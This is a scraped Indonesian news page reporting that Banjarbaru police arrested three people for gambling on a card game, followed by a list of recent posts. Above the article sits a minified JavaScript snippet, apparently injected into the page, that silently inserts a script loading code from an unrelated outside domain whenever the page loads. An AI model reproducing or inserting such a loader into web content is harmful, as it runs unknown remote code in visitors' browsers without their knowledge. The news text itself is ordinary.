(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Tiga Pelaku Judi Kartu di Loktabat Utara Diringkus Polisi


KANALKALIMANTAN.COM, BANJARBARU – Tiga pelaku judi di Kota Banjarbaru, Kalimantan Selatan (Kalsel) dibekuk anggota Opsnal Polsek Banjarbaru Utara.

Penangkapan itu terjadi pada Kamis (2/5/2024) lalu, saat anggota melakukan patroli dan hunting di wilayah hukum Polsek Banjarbaru Utara dalam rangka Operasi Sikat 1 Intan 2024.

Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono mengatakan, penangkapan bermula saat anggota menerima menerima laporan masyarakat tentang sebuah tempat yang kerap dijadikan lokasi berjudi.

Baca juga: Bangunan Liar di Atas Sungai Dibongkar Satpol PP Banjarmasin

“Tepatnya di Gang Keluarga RT 02 RW 01 Kelurahan Loktabat Selatan, menurut informasi warga jadi tempat judi kartu kyu-kyu,” ujar Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono, Selasa (21/5/2024) siang.

“Kemudin anggota Opsnal melakukan lidik terhadap informasi tersebut,” sambung dia.

Setelah melakukan penyelidikan dengan akurat, pada hari yang sama sekitar pukul 23.00 Wita malam, anggota yang dipimpin Panit 2 Opsnal Polsek Banjarbaru Utara Aiptu Sugeng Gunawan melakukan penggerebekan tempat judi tersebut.

Baca juga: Bedakan Kosong di Basirih Dilalap Api

“Dari penggerebekan itu, personel berhasil mengamankan tiga orang pelaku judi yakni M (51), ES (49), dan F (48),” sebutnya.

Adapun pelaku M merupakan seorang buruh asal Kelurahan Mentaos, Kota Banjarbaru. Kemudian pelaku ES merupakan soupir asal Kelurahan Loktabat Selatan, dan pelaku F zeorang buruh asal Sungai Sumba, Kecamatan Landasan Ulin, Kota Banjarbaru.

Ketiga pelaku itu ditangkap bersama barang bukti satu set kartu domino merk jitak dan uang tunai senilai Rp163 ribu.

Baca juga: 21 Mei: Sejarah Hari Peringatan Reformasi nasional

“Kemudian anggota Opsnal Reskrim Polsek Banjarbaru Utara membawa pelaku beserta barang bukti ke Mapolsek Banjarbaru Utara,” tuntas Kapolsek.

Atas kejadian ini ketiga pelaku disangkakan hukuman seperti yang terdapat pada pasal 303 ayat 1 Kitab Undang-undang Hukum Pidana (KUHP). (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.